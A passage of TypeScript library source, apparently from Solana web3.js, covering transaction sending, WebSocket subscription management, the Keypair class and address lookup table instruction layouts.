{\n let disableCache = this._disableBlockhashCaching;\n for (;;) {\n const latestBlockhash =\n await this._blockhashWithExpiryBlockHeight(disableCache);\n transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight;\n transaction.recentBlockhash = latestBlockhash.blockhash;\n transaction.sign(...signers);\n if (!transaction.signature) {\n throw new Error('!signature'); // should never happen\n }\n\n const signature = transaction.signature.toString('base64');\n if (!this._blockhashInfo.transactionSignatures.includes(signature)) {\n // The signature of this transaction has not been seen before with the\n // current recentBlockhash, all done. Let's break\n this._blockhashInfo.transactionSignatures.push(signature);\n break;\n } else {\n // This transaction would be treated as duplicate (its derived signature\n // matched to one of already recorded signatures).\n // So, we must fetch a new blockhash for a different signature by disabling\n // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS).\n disableCache = true;\n }\n }\n }\n\n const wireTransaction = transaction.serialize();\n return await this.sendRawTransaction(wireTransaction, options);\n }\n\n /**\n * Send a transaction that has already been signed and serialized into the\n * wire format\n */\n async sendRawTransaction(\n rawTransaction: Buffer | Uint8Array | Array<number>,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n const encodedTransaction = toBuffer(rawTransaction).toString('base64');\n const result = await this.sendEncodedTransaction(\n encodedTransaction,\n options,\n );\n return result;\n }\n\n /**\n * Send a transaction that has already been signed, serialized into the\n * wire format, and encoded as a base64 string\n */\n async sendEncodedTransaction(\n encodedTransaction: string,\n options?: SendOptions,\n ): Promise<TransactionSignature> {\n const config: any = {encoding: 'base64'};\n const skipPreflight = options && options.skipPreflight;\n const preflightCommitment =\n skipPreflight === true\n ? 'processed' // FIXME Remove when https://github.com/anza-xyz/agave/pull/483 is deployed.\n : (options && options.preflightCommitment) || this.commitment;\n\n if (options && options.maxRetries != null) {\n config.maxRetries = options.maxRetries;\n }\n if (options && options.minContextSlot != null) {\n config.minContextSlot = options.minContextSlot;\n }\n if (skipPreflight) {\n config.skipPreflight = skipPreflight;\n }\n if (preflightCommitment) {\n config.preflightCommitment = preflightCommitment;\n }\n\n const args = [encodedTransaction, config];\n const unsafeRes = await this._rpcRequest('sendTransaction', args);\n const res = create(unsafeRes, SendTransactionRpcResult);\n if ('error' in res) {\n let logs = undefined;\n if ('data' in res.error) {\n logs = res.error.data.logs;\n }\n\n throw new SendTransactionError({\n action: skipPreflight ? 'send' : 'simulate',\n signature: '',\n transactionMessage: res.error.message,\n logs: logs,\n });\n }\n return res.result;\n }\n\n /**\n * @internal\n */\n _wsOnOpen() {\n this._rpcWebSocketConnected = true;\n this._rpcWebSocketHeartbeat = setInterval(() => {\n // Ping server every 5s to prevent idle timeouts\n (async () => {\n try {\n await this._rpcWebSocket.notify('ping');\n // eslint-disable-next-line no-empty\n } catch {}\n })();\n }, 5000);\n this._updateSubscriptions();\n }\n\n /**\n * @internal\n */\n _wsOnError(err: Error) {\n this._rpcWebSocketConnected = false;\n console.error('ws error:', err.message);\n }\n\n /**\n * @internal\n */\n _wsOnClose(code: number) {\n this._rpcWebSocketConnected = false;\n this._rpcWebSocketGeneration =\n (this._rpcWebSocketGeneration + 1) % Number.MAX_SAFE_INTEGER;\n if (this._rpcWebSocketIdleTimeout) {\n clearTimeout(this._rpcWebSocketIdleTimeout);\n this._rpcWebSocketIdleTimeout = null;\n }\n if (this._rpcWebSocketHeartbeat) {\n clearInterval(this._rpcWebSocketHeartbeat);\n this._rpcWebSocketHeartbeat = null;\n }\n\n if (code === 1000) {\n // explicit close, check if any subscriptions have been made since close\n this._updateSubscriptions();\n return;\n }\n\n // implicit close, prepare subscriptions for auto-reconnect\n this._subscriptionCallbacksByServerSubscriptionId = {};\n Object.entries(\n this._subscriptionsByHash as Record<SubscriptionConfigHash, Subscription>,\n ).forEach(([hash, subscription]) => {\n this._setSubscription(hash, {\n ...subscription,\n state: 'pending',\n });\n });\n }\n\n /**\n * @internal\n */\n private _setSubscription(\n hash: SubscriptionConfigHash,\n nextSubscription: Subscription,\n ) {\n const prevState = this._subscriptionsByHash[hash]?.state;\n this._subscriptionsByHash[hash] = nextSubscription;\n if (prevState !== nextSubscription.state) {\n const stateChangeCallbacks =\n this._subscriptionStateChangeCallbacksByHash[hash];\n if (stateChangeCallbacks) {\n stateChangeCallbacks.forEach(cb => {\n try {\n cb(nextSubscription.state);\n // eslint-disable-next-line no-empty\n } catch {}\n });\n }\n }\n }\n\n /**\n * @internal\n */\n private _onSubscriptionStateChange(\n clientSubscriptionId: ClientSubscriptionId,\n callback: SubscriptionStateChangeCallback,\n ): SubscriptionStateChangeDisposeFn {\n const hash =\n this._subscriptionHashByClientSubscriptionId[clientSubscriptionId];\n if (hash == null) {\n return () => {};\n }\n const stateChangeCallbacks = (this._subscriptionStateChangeCallbacksByHash[\n hash\n ] ||= new Set());\n stateChangeCallbacks.add(callback);\n return () => {\n stateChangeCallbacks.delete(callback);\n if (stateChangeCallbacks.size === 0) {\n delete this._subscriptionStateChangeCallbacksByHash[hash];\n }\n };\n }\n\n /**\n * @internal\n */\n async _updateSubscriptions() {\n if (Object.keys(this._subscriptionsByHash).length === 0) {\n if (this._rpcWebSocketConnected) {\n this._rpcWebSocketConnected = false;\n this._rpcWebSocketIdleTimeout = setTimeout(() => {\n this._rpcWebSocketIdleTimeout = null;\n try {\n this._rpcWebSocket.close();\n } catch (err) {\n // swallow error if socket has already been closed.\n if (err instanceof Error) {\n console.log(\n `Error when closing socket connection: ${err.message}`,\n );\n }\n }\n }, 500);\n }\n return;\n }\n\n if (this._rpcWebSocketIdleTimeout !== null) {\n clearTimeout(this._rpcWebSocketIdleTimeout);\n this._rpcWebSocketIdleTimeout = null;\n this._rpcWebSocketConnected = true;\n }\n\n if (!this._rpcWebSocketConnected) {\n this._rpcWebSocket.connect();\n return;\n }\n\n const activeWebSocketGeneration = this._rpcWebSocketGeneration;\n const isCurrentConnectionStillActive = () => {\n return activeWebSocketGeneration === this._rpcWebSocketGeneration;\n };\n\n await Promise.all(\n // Don't be tempted to change this to `Object.entries`. We call\n // `_updateSubscriptions` recursively when processing the state,\n // so it's important that we look up the *current* version of\n // each subscription, every time we process a hash.\n Object.keys(this._subscriptionsByHash).map(async hash => {\n const subscription = this._subscriptionsByHash[hash];\n if (subscription === undefined) {\n // This entry has since been deleted. Skip.\n return;\n }\n switch (subscription.state) {\n case 'pending':\n case 'unsubscribed':\n if (subscription.callbacks.size === 0) {\n /**\n * You can end up here when:\n *\n * - a subscription has recently unsubscribed\n * without having new callbacks added to it\n * while the unsubscribe was in flight, or\n * - when a pending subscription has its\n * listeners removed before a request was\n * sent to the server.\n *\n * Being that nobody is interested in this\n * subscription any longer, delete it.\n */\n delete this._subscriptionsByHash[hash];\n if (subscription.state === 'unsubscribed') {\n delete this._subscriptionCallbacksByServerSubscriptionId[\n subscription.serverSubscriptionId\n ];\n }\n await this._updateSubscriptions();\n return;\n }\n await (async () => {\n const {args, method} = subscription;\n try {\n this._setSubscription(hash, {\n ...subscription,\n state: 'subscribing',\n });\n const serverSubscriptionId: ServerSubscriptionId =\n (await this._rpcWebSocket.call(method, args)) as number;\n this._setSubscription(hash, {\n ...subscription,\n serverSubscriptionId,\n state: 'subscribed',\n });\n this._subscriptionCallbacksByServerSubscriptionId[\n serverSubscriptionId\n ] = subscription.callbacks;\n await this._updateSubscriptions();\n } catch (e) {\n console.error(\n `Received ${e instanceof Error ? '' : 'JSON-RPC '}error calling \\`${method}\\``,\n {\n args,\n error: e,\n },\n );\n if (!isCurrentConnectionStillActive()) {\n return;\n }\n // TODO: Maybe add an 'errored' state or a retry limit?\n this._setSubscription(hash, {\n ...subscription,\n state: 'pending',\n });\n await this._updateSubscriptions();\n }\n })();\n break;\n case 'subscribed':\n if (subscription.callbacks.size === 0) {\n // By the time we successfully set up a subscription\n // with the server, the client stopped caring about it.\n // Tear it down now.\n await (async () => {\n const {serverSubscriptionId, unsubscribeMethod} = subscription;\n if (\n this._subscriptionsAutoDisposedByRpc.has(serverSubscriptionId)\n ) {\n /**\n * Special case.\n * If we're dealing with a subscription that has been auto-\n * disposed by the RPC, then we can skip the RPC call to\n * tear down the subscription here.\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n this._subscriptionsAutoDisposedByRpc.delete(\n serverSubscriptionId,\n );\n } else {\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribing',\n });\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribing',\n });\n try {\n await this._rpcWebSocket.call(unsubscribeMethod, [\n serverSubscriptionId,\n ]);\n } catch (e) {\n if (e instanceof Error) {\n console.error(`${unsubscribeMethod} error:`, e.message);\n }\n if (!isCurrentConnectionStillActive()) {\n return;\n }\n // TODO: Maybe add an 'errored' state or a retry limit?\n this._setSubscription(hash, {\n ...subscription,\n state: 'subscribed',\n });\n await this._updateSubscriptions();\n return;\n }\n }\n this._setSubscription(hash, {\n ...subscription,\n state: 'unsubscribed',\n });\n await this._updateSubscriptions();\n })();\n }\n break;\n case 'subscribing':\n case 'unsubscribing':\n break;\n }\n }),\n );\n }\n\n /**\n * @internal\n */\n private _handleServerNotification<\n TCallback extends SubscriptionConfig['callback'],\n >(\n serverSubscriptionId: ServerSubscriptionId,\n callbackArgs: Parameters<TCallback>,\n ): void {\n const callbacks =\n this._subscriptionCallbacksByServerSubscriptionId[serverSubscriptionId];\n if (callbacks === undefined) {\n return;\n }\n callbacks.forEach(cb => {\n try {\n cb(\n // I failed to find a way to convince TypeScript that `cb` is of type\n // `TCallback` which is certainly compatible with `Parameters<TCallback>`.\n // See https://github.com/microsoft/TypeScript/issues/47615\n // @ts-ignore\n ...callbackArgs,\n );\n } catch (e) {\n console.error(e);\n }\n });\n }\n\n /**\n * @internal\n */\n _wsOnAccountNotification(notification: object) {\n const {result, subscription} = create(\n notification,\n AccountNotificationResult,\n );\n this._handleServerNotification<AccountChangeCallback>(subscription, [\n result.value,\n result.context,\n ]);\n }\n\n /**\n * @internal\n */\n private _makeSubscription(\n subscriptionConfig: SubscriptionConfig,\n /**\n * When preparing `args` for a call to `_makeSubscription`, be sure\n * to carefully apply a default `commitment` property, if necessary.\n *\n * - If the user supplied a `commitment` use that.\n * - Otherwise, if the `Connection::commitment` is set, use that.\n * - Otherwise, set it to the RPC server default: `finalized`.\n *\n * This is extremely important to ensure that these two fundamentally\n * identical subscriptions produce the same identifying hash:\n *\n * - A subscription made without specifying a commitment.\n * - A subscription made where the commitment specified is the same\n * as the default applied to the subscription above.\n *\n * Example; these two subscriptions must produce the same hash:\n *\n * - An `accountSubscribe` subscription for `'PUBKEY'`\n * - An `accountSubscribe` subscription for `'PUBKEY'` with commitment\n * `'finalized'`.\n *\n * See the 'making a subscription with defaulted params omitted' test\n * in `connection-subscriptions.ts` for more.\n */\n args: IWSRequestParams,\n ): ClientSubscriptionId {\n const clientSubscriptionId = this._nextClientSubscriptionId++;\n const hash = fastStableStringify([subscriptionConfig.method, args]);\n const existingSubscription = this._subscriptionsByHash[hash];\n if (existingSubscription === undefined) {\n this._subscriptionsByHash[hash] = {\n ...subscriptionConfig,\n args,\n callbacks: new Set([subscriptionConfig.callback]),\n state: 'pending',\n };\n } else {\n existingSubscription.callbacks.add(subscriptionConfig.callback);\n }\n this._subscriptionHashByClientSubscriptionId[clientSubscriptionId] = hash;\n this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ] = async () => {\n delete this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ];\n delete this._subscriptionHashByClientSubscriptionId[clientSubscriptionId];\n const subscription = this._subscriptionsByHash[hash];\n assert(\n subscription !== undefined,\n `Could not find a \\`Subscription\\` when tearing down client subscription #${clientSubscriptionId}`,\n );\n subscription.callbacks.delete(subscriptionConfig.callback);\n await this._updateSubscriptions();\n };\n this._updateSubscriptions();\n return clientSubscriptionId;\n }\n\n /**\n * Register a callback to be invoked whenever the specified account changes\n *\n * @param publicKey Public key of the account to monitor\n * @param callback Function to invoke whenever the account is changed\n * @param config\n * @return subscription id\n */\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n config?: AccountSubscriptionConfig,\n ): ClientSubscriptionId;\n /** @deprecated Instead, pass in an {@link AccountSubscriptionConfig} */\n // eslint-disable-next-line no-dupe-class-members\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId;\n // eslint-disable-next-line no-dupe-class-members\n onAccountChange(\n publicKey: PublicKey,\n callback: AccountChangeCallback,\n commitmentOrConfig?: Commitment | AccountSubscriptionConfig,\n ): ClientSubscriptionId {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n 'base64',\n config,\n );\n return this._makeSubscription(\n {\n callback,\n method: 'accountSubscribe',\n unsubscribeMethod: 'accountUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister an account notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeAccountChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'account change',\n );\n }\n\n /**\n * @internal\n */\n _wsOnProgramAccountNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n ProgramAccountNotificationResult,\n );\n this._handleServerNotification<ProgramAccountChangeCallback>(subscription, [\n {\n accountId: result.value.pubkey,\n accountInfo: result.value.account,\n },\n result.context,\n ]);\n }\n\n /**\n * Register a callback to be invoked whenever accounts owned by the\n * specified program change\n *\n * @param programId Public key of the program to monitor\n * @param callback Function to invoke whenever the account is changed\n * @param config\n * @return subscription id\n */\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n config?: ProgramAccountSubscriptionConfig,\n ): ClientSubscriptionId;\n /** @deprecated Instead, pass in a {@link ProgramAccountSubscriptionConfig} */\n // eslint-disable-next-line no-dupe-class-members\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n commitment?: Commitment,\n filters?: GetProgramAccountsFilter[],\n ): ClientSubscriptionId;\n // eslint-disable-next-line no-dupe-class-members\n onProgramAccountChange(\n programId: PublicKey,\n callback: ProgramAccountChangeCallback,\n commitmentOrConfig?: Commitment | ProgramAccountSubscriptionConfig,\n maybeFilters?: GetProgramAccountsFilter[],\n ): ClientSubscriptionId {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [programId.toBase58()],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n 'base64' /* encoding */,\n config\n ? config\n : maybeFilters\n ? {filters: applyDefaultMemcmpEncodingToFilters(maybeFilters)}\n : undefined /* extra */,\n );\n return this._makeSubscription(\n {\n callback,\n method: 'programSubscribe',\n unsubscribeMethod: 'programUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister an account notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeProgramAccountChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'program account change',\n );\n }\n\n /**\n * Registers a callback to be invoked whenever logs are emitted.\n */\n onLogs(\n filter: LogsFilter,\n callback: LogsCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId {\n const args = this._buildArgs(\n [typeof filter === 'object' ? {mentions: [filter.toString()]} : filter],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n );\n return this._makeSubscription(\n {\n callback,\n method: 'logsSubscribe',\n unsubscribeMethod: 'logsUnsubscribe',\n },\n args,\n );\n }\n\n /**\n * Deregister a logs callback.\n *\n * @param clientSubscriptionId client subscription id to deregister.\n */\n async removeOnLogsListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(clientSubscriptionId, 'logs');\n }\n\n /**\n * @internal\n */\n _wsOnLogsNotification(notification: Object) {\n const {result, subscription} = create(notification, LogsNotificationResult);\n this._handleServerNotification<LogsCallback>(subscription, [\n result.value,\n result.context,\n ]);\n }\n\n /**\n * @internal\n */\n _wsOnSlotNotification(notification: Object) {\n const {result, subscription} = create(notification, SlotNotificationResult);\n this._handleServerNotification<SlotChangeCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon slot changes\n *\n * @param callback Function to invoke whenever the slot changes\n * @return subscription id\n */\n onSlotChange(callback: SlotChangeCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'slotSubscribe',\n unsubscribeMethod: 'slotUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a slot notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSlotChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'slot change',\n );\n }\n\n /**\n * @internal\n */\n _wsOnSlotUpdatesNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n SlotUpdateNotificationResult,\n );\n this._handleServerNotification<SlotUpdateCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon slot updates. {@link SlotUpdate}'s\n * may be useful to track live progress of a cluster.\n *\n * @param callback Function to invoke whenever the slot updates\n * @return subscription id\n */\n onSlotUpdate(callback: SlotUpdateCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'slotsUpdatesSubscribe',\n unsubscribeMethod: 'slotsUpdatesUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a slot update notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSlotUpdateListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'slot update',\n );\n }\n\n /**\n * @internal\n */\n\n private async _unsubscribeClientSubscription(\n clientSubscriptionId: ClientSubscriptionId,\n subscriptionName: string,\n ) {\n const dispose =\n this._subscriptionDisposeFunctionsByClientSubscriptionId[\n clientSubscriptionId\n ];\n if (dispose) {\n await dispose();\n } else {\n console.warn(\n 'Ignored unsubscribe request because an active subscription with id ' +\n `\\`${clientSubscriptionId}\\` for '${subscriptionName}' events ` +\n 'could not be found.',\n );\n }\n }\n\n _buildArgs(\n args: Array<any>,\n override?: Commitment,\n encoding?: 'jsonParsed' | 'base64',\n extra?: any,\n ): Array<any> {\n const commitment = override || this._commitment;\n if (commitment || encoding || extra) {\n let options: any = {};\n if (encoding) {\n options.encoding = encoding;\n }\n if (commitment) {\n options.commitment = commitment;\n }\n if (extra) {\n options = Object.assign(options, extra);\n }\n args.push(options);\n }\n return args;\n }\n\n /**\n * @internal\n */\n _buildArgsAtLeastConfirmed(\n args: Array<any>,\n override?: Finality,\n encoding?: 'jsonParsed' | 'base64',\n extra?: any,\n ): Array<any> {\n const commitment = override || this._commitment;\n if (commitment && !['confirmed', 'finalized'].includes(commitment)) {\n throw new Error(\n 'Using Connection with default commitment: `' +\n this._commitment +\n '`, but method requires at least `confirmed`',\n );\n }\n return this._buildArgs(args, override, encoding, extra);\n }\n\n /**\n * @internal\n */\n _wsOnSignatureNotification(notification: Object) {\n const {result, subscription} = create(\n notification,\n SignatureNotificationResult,\n );\n if (result.value !== 'receivedSignature') {\n /**\n * Special case.\n * After a signature is processed, RPCs automatically dispose of the\n * subscription on the server side. We need to track which of these\n * subscriptions have been disposed in such a way, so that we know\n * whether the client is dealing with a not-yet-processed signature\n * (in which case we must tear down the server subscription) or an\n * already-processed signature (in which case the client can simply\n * clear out the subscription locally without telling the server).\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n this._subscriptionsAutoDisposedByRpc.add(subscription);\n }\n this._handleServerNotification<SignatureSubscriptionCallback>(\n subscription,\n result.value === 'receivedSignature'\n ? [{type: 'received'}, result.context]\n : [{type: 'status', result: result.value}, result.context],\n );\n }\n\n /**\n * Register a callback to be invoked upon signature updates\n *\n * @param signature Transaction signature string in base 58\n * @param callback Function to invoke on signature notifications\n * @param commitment Specify the commitment level signature must reach before notification\n * @return subscription id\n */\n onSignature(\n signature: TransactionSignature,\n callback: SignatureResultCallback,\n commitment?: Commitment,\n ): ClientSubscriptionId {\n const args = this._buildArgs(\n [signature],\n commitment || this._commitment || 'finalized', // Apply connection/server default.\n );\n const clientSubscriptionId = this._makeSubscription(\n {\n callback: (notification, context) => {\n if (notification.type === 'status') {\n callback(notification.result, context);\n // Signatures subscriptions are auto-removed by the RPC service\n // so no need to explicitly send an unsubscribe message.\n try {\n this.removeSignatureListener(clientSubscriptionId);\n // eslint-disable-next-line no-empty\n } catch (_err) {\n // Already removed.\n }\n }\n },\n method: 'signatureSubscribe',\n unsubscribeMethod: 'signatureUnsubscribe',\n },\n args,\n );\n return clientSubscriptionId;\n }\n\n /**\n * Register a callback to be invoked when a transaction is\n * received and/or processed.\n *\n * @param signature Transaction signature string in base 58\n * @param callback Function to invoke on signature notifications\n * @param options Enable received notifications and set the commitment\n * level that signature must reach before notification\n * @return subscription id\n */\n onSignatureWithOptions(\n signature: TransactionSignature,\n callback: SignatureSubscriptionCallback,\n options?: SignatureSubscriptionOptions,\n ): ClientSubscriptionId {\n const {commitment, ...extra} = {\n ...options,\n commitment:\n (options && options.commitment) || this._commitment || 'finalized', // Apply connection/server default.\n };\n const args = this._buildArgs(\n [signature],\n commitment,\n undefined /* encoding */,\n extra,\n );\n const clientSubscriptionId = this._makeSubscription(\n {\n callback: (notification, context) => {\n callback(notification, context);\n // Signatures subscriptions are auto-removed by the RPC service\n // so no need to explicitly send an unsubscribe message.\n try {\n this.removeSignatureListener(clientSubscriptionId);\n // eslint-disable-next-line no-empty\n } catch (_err) {\n // Already removed.\n }\n },\n method: 'signatureSubscribe',\n unsubscribeMethod: 'signatureUnsubscribe',\n },\n args,\n );\n return clientSubscriptionId;\n }\n\n /**\n * Deregister a signature notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeSignatureListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'signature result',\n );\n }\n\n /**\n * @internal\n */\n _wsOnRootNotification(notification: Object) {\n const {result, subscription} = create(notification, RootNotificationResult);\n this._handleServerNotification<RootChangeCallback>(subscription, [result]);\n }\n\n /**\n * Register a callback to be invoked upon root changes\n *\n * @param callback Function to invoke whenever the root changes\n * @return subscription id\n */\n onRootChange(callback: RootChangeCallback): ClientSubscriptionId {\n return this._makeSubscription(\n {\n callback,\n method: 'rootSubscribe',\n unsubscribeMethod: 'rootUnsubscribe',\n },\n [] /* args */,\n );\n }\n\n /**\n * Deregister a root notification callback\n *\n * @param clientSubscriptionId client subscription id to deregister\n */\n async removeRootChangeListener(\n clientSubscriptionId: ClientSubscriptionId,\n ): Promise<void> {\n await this._unsubscribeClientSubscription(\n clientSubscriptionId,\n 'root change',\n );\n }\n}\n","import {generateKeypair, getPublicKey, Ed25519Keypair} from './utils/ed25519';\nimport {PublicKey} from './publickey';\n\n/**\n * Keypair signer interface\n */\nexport interface Signer {\n publicKey: PublicKey;\n secretKey: Uint8Array;\n}\n\n/**\n * An account keypair used for signing transactions.\n */\nexport class Keypair {\n private _keypair: Ed25519Keypair;\n\n /**\n * Create a new keypair instance.\n * Generate random keypair if no {@link Ed25519Keypair} is provided.\n *\n * @param {Ed25519Keypair} keypair ed25519 keypair\n */\n constructor(keypair?: Ed25519Keypair) {\n this._keypair = keypair ?? generateKeypair();\n }\n\n /**\n * Generate a new random keypair\n *\n * @returns {Keypair} Keypair\n */\n static generate(): Keypair {\n return new Keypair(generateKeypair());\n }\n\n /**\n * Create a keypair from a raw secret key byte array.\n *\n * This method should only be used to recreate a keypair from a previously\n * generated secret key. Generating keypairs from a random seed should be done\n * with the {@link Keypair.fromSeed} method.\n *\n * @throws error if the provided secret key is invalid and validation is not skipped.\n *\n * @param secretKey secret key byte array\n * @param options skip secret key validation\n *\n * @returns {Keypair} Keypair\n */\n static fromSecretKey(\n secretKey: Uint8Array,\n options?: {skipValidation?: boolean},\n ): Keypair {\n if (secretKey.byteLength !== 64) {\n throw new Error('bad secret key size');\n }\n const publicKey = secretKey.slice(32, 64);\n if (!options || !options.skipValidation) {\n const privateScalar = secretKey.slice(0, 32);\n const computedPublicKey = getPublicKey(privateScalar);\n for (let ii = 0; ii < 32; ii++) {\n if (publicKey[ii] !== computedPublicKey[ii]) {\n throw new Error('provided secretKey is invalid');\n }\n }\n }\n return new Keypair({publicKey, secretKey});\n }\n\n /**\n * Generate a keypair from a 32 byte seed.\n *\n * @param seed seed byte array\n *\n * @returns {Keypair} Keypair\n */\n static fromSeed(seed: Uint8Array): Keypair {\n const publicKey = getPublicKey(seed);\n const secretKey = new Uint8Array(64);\n secretKey.set(seed);\n secretKey.set(publicKey, 32);\n return new Keypair({publicKey, secretKey});\n }\n\n /**\n * The public key for this keypair\n *\n * @returns {PublicKey} PublicKey\n */\n get publicKey(): PublicKey {\n return new PublicKey(this._keypair.publicKey);\n }\n\n /**\n * The raw secret key for this keypair\n * @returns {Uint8Array} Secret key in an array of Uint8 bytes\n */\n get secretKey(): Uint8Array {\n return new Uint8Array(this._keypair.secretKey);\n }\n}\n","import {toBufferLE} from 'bigint-buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport * as Layout from '../../layout';\nimport {PublicKey} from '../../publickey';\nimport * as bigintLayout from '../../utils/bigint';\nimport {SystemProgram} from '../system';\nimport {TransactionInstruction} from '../../transaction';\nimport {decodeData, encodeData, IInstructionInputData} from '../../instruction';\n\nexport * from './state';\n\nexport type CreateLookupTableParams = {\n /** Account used to derive and control the new address lookup table. */\n authority: PublicKey;\n /** Account that will fund the new address lookup table. */\n payer: PublicKey;\n /** A recent slot must be used in the derivation path for each initialized table. */\n recentSlot: bigint | number;\n};\n\nexport type FreezeLookupTableParams = {\n /** Address lookup table account to freeze. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n};\n\nexport type ExtendLookupTableParams = {\n /** Address lookup table account to extend. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n /** Account that will fund the table reallocation.\n * Not required if the reallocation has already been funded. */\n payer?: PublicKey;\n /** List of Public Keys to be added to the lookup table. */\n addresses: Array<PublicKey>;\n};\n\nexport type DeactivateLookupTableParams = {\n /** Address lookup table account to deactivate. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n};\n\nexport type CloseLookupTableParams = {\n /** Address lookup table account to close. */\n lookupTable: PublicKey;\n /** Account which is the current authority. */\n authority: PublicKey;\n /** Recipient of closed account lamports. */\n recipient: PublicKey;\n};\n\n/**\n * An enumeration of valid LookupTableInstructionType's\n */\nexport type LookupTableInstructionType =\n | 'CreateLookupTable'\n | 'ExtendLookupTable'\n | 'CloseLookupTable'\n | 'FreezeLookupTable'\n | 'DeactivateLookupTable';\n\ntype LookupTableInstructionInputData = {\n CreateLookupTable: IInstructionInputData &\n Readonly<{\n recentSlot: bigint;\n bumpSeed: number;\n }>;\n FreezeLookupTable: IInstructionInputData;\n ExtendLookupTable: IInstructionInputData &\n Readonly<{\n numberOfAddresses: bigint;\n addresses: Array<Uint8Array>;\n }>;\n DeactivateLookupTable: IInstructionInputData;\n CloseLookupTable: IInstructionInputData;\n};\n\n/**\n * An enumeration of valid address lookup table InstructionType's\n * @internal\n */\nexport const LOOKUP_TABLE_INSTRUCTION_LAYOUTS = Object.freeze({\n CreateLookupTable: {\n index: 0,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['CreateLookupTable']\n >([\n BufferLayout.u32('instruction'),\n bigintLayout.u64('recentSlot'),\n BufferLayout.u8('bumpSeed'),\n ]),\n },\n FreezeLookupTable: {\n index: 1,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['FreezeLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n ExtendLookupTable: {\n index: 2,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['ExtendLookupTable']\n >([\n BufferLayout.u32('instruction'),\n bigintLayout.u64(),\n BufferLayout.seq(\n Layout.publicKey(),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'addresses',\n ),\n ]),\n },\n DeactivateLookupTable: {\n index: 3,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['DeactivateLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n CloseLookupTable: {\n index: 4,\n layout: BufferLayout.struct<\n LookupTableInstructionInputData['CloseLookupTable']\n >([BufferLayout.u32('instruction')]),\n },\n});\n\nexport class AddressLookupTableInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): LookupTableInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const index = instructionTypeLayout.decode(instruction.data);\n\n let type: LookupTableInstructionType | undefined;\n for (const [layoutType, layout] of Object.entries(\n LOOKUP_TABLE_INSTRUCTION_LAYOUTS,\n )) {\n if ((layout as any).index == index) {\n type = layoutType as LookupTableInstructionType;\n break;\n }\n }\n if (!type) {\n throw new Error(\n 'Invalid Instruction. Should be a LookupTable Instruction',\n );\n }\n return type;\n }\n\n static decodeCreateLookupTable(\n instruction: TransactionInstruction,\n ): CreateLookupTableParams {\n this.checkProgramId(instruction.programId);\n this.checkKeysLength(instruction.keys, 4);\n\n const {recentSlot} = decodeData(\n 